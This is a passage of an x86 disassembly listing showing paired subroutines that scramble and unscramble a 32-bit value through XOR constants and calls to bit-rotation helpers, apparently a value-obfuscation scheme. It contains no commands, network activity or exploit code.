		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFF8h
		push	0
		push	1Bh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 6C993A61h
		mov	[ebp+arg_0], ecx
		push	9
		push	4
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFF4h
		push	0
		push	1Fh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0FFFFFFE6h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0FFFFFFE5h
		push	0
		push	1Eh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0FFFFFFFEh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	2
		push	1Bh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFF9h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	8
		push	10h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFE8h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0FFFFFFF0h
		push	1
		push	1Ch
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0
		push	18h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0Ah
		push	4
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFF9h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0FFFFFFFAh
		push	9
		push	15h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	17h
		push	7
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	7
		push	0Ah
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 81EEB2F2h
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_4919DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_491B6F	proc near		; CODE XREF: sub_497E12+175p
					; sub_498394+7Fp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 0A5A03DCBh
		mov	[ebp+arg_0], eax
		push	10h
		push	3
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	16h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0
		push	1Fh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	14h
		push	3
		push	1Ch
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0Eh
		push	0Bh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 0F05EB5C4h
		mov	[ebp+arg_0], eax
		push	0
		push	16h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	12h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	18h
		push	1
		push	1Dh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 0A9A308D0h
		mov	[ebp+arg_0], ecx
		push	4
		push	16h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	1Fh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	17h
		push	7
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	1
		push	17h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	5
		push	7
		push	17h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	4
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_491B6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_491CA1	proc near		; CODE XREF: sub_497E12+Dp
					; sub_498394+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFCh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0FFFFFFFBh
		push	7
		push	17h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	1
		push	17h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	17h
		push	7
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFE1h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	4
		push	16h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 0A9A308D0h
		mov	[ebp+arg_0], eax
		push	0FFFFFFE8h
		push	1
		push	1Dh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0FFFFFFEEh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0
		push	16h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 0F05EB5C4h
		mov	[ebp+arg_0], ecx
		push	0Eh
		push	0Bh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFECh
		push	3
		push	1Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0
		push	1Fh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFEAh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	10h
		push	3
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 0A5A03DCBh
		mov	[ebp+arg_0], ecx
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_491CA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_491DD4	proc near		; CODE XREF: sub_496381+195p
					; sub_4985C8+E4p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 0FD52D0F0h
		mov	[ebp+arg_0], eax
		push	14h
		push	1
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	17h
		push	2
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	6
		push	0Ch
		push	8
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0Ch
		push	6
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	8
		push	0
		push	19h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 5EC8F60Ah
		mov	[ebp+arg_0], eax
		push	0Fh
		push	7
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0F3617926h
		mov	[ebp+arg_0], edx
		push	13h
		push	4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0Ch
		push	3
		push	1Bh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0E106AA71h
		mov	[ebp+arg_0], edx
		push	0Dh
		push	7
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_491DD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_491EBB	proc near		; CODE XREF: sub_496381+Dp
					; sub_4985C8+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0Dh
		push	7
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 0E106AA71h
		mov	[ebp+arg_0], ecx
		push	0FFFFFFF4h
		push	3
		push	1Bh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	13h
		push	4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 0F3617926h
		mov	[ebp+arg_0], ecx
		push	0Fh
		push	7
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 5EC8F60Ah
		mov	[ebp+arg_0], eax
		push	0FFFFFFF8h
		push	0
		push	19h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0Ch
		push	6
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFFAh
		push	0Ch
		push	8
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	17h
		push	2
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	14h
		push	1
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 0FD52D0F0h
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_491EBB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_491FA2	proc near		; CODE XREF: sub_4953F2+BBp
					; sub_495743+E2p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 841A9E43h
		mov	[ebp+arg_0], eax
		push	18h
		push	0
		push	1Fh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	2
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	14h
		push	2
		push	1Dh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0Dh
		push	1
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 3AC19C3h
		mov	[ebp+arg_0], edx
		push	2
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Bh
		push	0Ch
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0Ch
		push	2
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	7
		push	17h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	19h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Dh
		push	5
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0Bh
		push	0Eh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	1Eh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 5EF12232h
		mov	[ebp+arg_0], edx
		push	13h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	1
		push	0Fh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0Eh
		push	4
		push	11h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_491FA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4920E6	proc near		; CODE XREF: sub_4953F2+Dp
					; sub_495743+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFF2h
		push	4
		push	11h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	1
		push	0Fh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFEDh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 5EF12232h
		mov	[ebp+arg_0], eax
		push	0FFFFFFE2h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Bh
		push	0Eh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0Dh
		push	5
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFE7h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	7
		push	17h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0Ch
		push	2
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0Bh
		push	0Ch
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFFEh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 3AC19C3h
		mov	[ebp+arg_0], eax
		push	0Dh
		push	1
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFECh
		push	2
		push	1Dh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0FFFFFFFEh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0FFFFFFE8h
		push	0
		push	1Fh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 841A9E43h
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_4920E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_492229	proc near		; CODE XREF: sub_49B95C+10Fp
					; sub_49CF72+8Ap ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 0D40DC76Bh
		mov	[ebp+arg_0], eax
		push	15h
		push	2
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	1
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 51D49BEEh
		mov	[ebp+arg_0], eax
		push	0Fh
		push	7
		push	16h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	1
		push	5
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	11h
		push	2
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	1
		push	1Dh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	5
		push	7
		push	17h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0Ah
		push	8
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	5
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_492229	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4922F2	proc near		; CODE XREF: sub_49B95C+Dp
					; sub_49CF72+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFBh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Ah
		push	8
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFFBh
		push	7
		push	17h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	1
		push	1Dh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	11h
		push	2
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	1
		push	5
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFF1h
		push	7
		push	16h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 51D49BEEh
		mov	[ebp+arg_0], ecx
		push	0FFFFFFFFh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	15h
		push	2
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 0D40DC76Bh
		mov	[ebp+arg_0], ecx
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_4922F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4923BD	proc near		; CODE XREF: sub_498DD8+D0p
					; sub_49B5EE+A0p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 1FB286A7h
		mov	[ebp+arg_0], eax
		push	12h
		push	1
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	7
		push	0Ch
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	12h
		push	6
		push	15h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	1
		push	0Ch
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0Eh
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 62B1561Bh
		mov	[ebp+arg_0], ecx
		push	0Dh
		push	4
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0Bh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	17h
		push	5
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	2
		push	15h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 0B0E2B697h
		mov	[ebp+arg_0], eax
		push	3
		push	0
		push	1Ah
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0C10FFB6Fh
		mov	[ebp+arg_0], edx
		push	0Fh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Ch
		push	3
		push	15h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0D4EC99D7h
		mov	[ebp+arg_0], edx
		push	2
		push	1Ah
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	15h
		push	2
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0Fh
		push	0Ah
		push	12h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 0A5365844h
		mov	[ebp+arg_0], eax
		push	0Ch
		push	13h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0DC1DBEA4h
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_4923BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49255B	proc near		; CODE XREF: sub_498DD8+Dp
					; sub_49B5EE+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 0DC1DBEA4h
		mov	[ebp+arg_0], eax
		push	0Ch
		push	13h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0A5365844h
		mov	[ebp+arg_0], edx
		push	0FFFFFFF1h
		push	0Ah
		push	12h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	15h
		push	2
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	2
		push	1Ah
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 0D4EC99D7h
		mov	[ebp+arg_0], eax
		push	0FFFFFFF4h
		push	3
		push	15h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0FFFFFFF1h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 0C10FFB6Fh
		mov	[ebp+arg_0], eax
		push	0FFFFFFFDh
		push	0
		push	1Ah
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0B0E2B697h
		mov	[ebp+arg_0], edx
		push	2
		push	15h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	17h
		push	5
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFF5h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Dh
		push	4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 62B1561Bh
		mov	[ebp+arg_0], ecx
		push	0Eh
		push	1
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	1
		push	0Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFEEh
		push	6
		push	15h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0FFFFFFFFh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	7
		push	0Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	12h
		push	1
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 1FB286A7h
		mov	[ebp+arg_0], edx
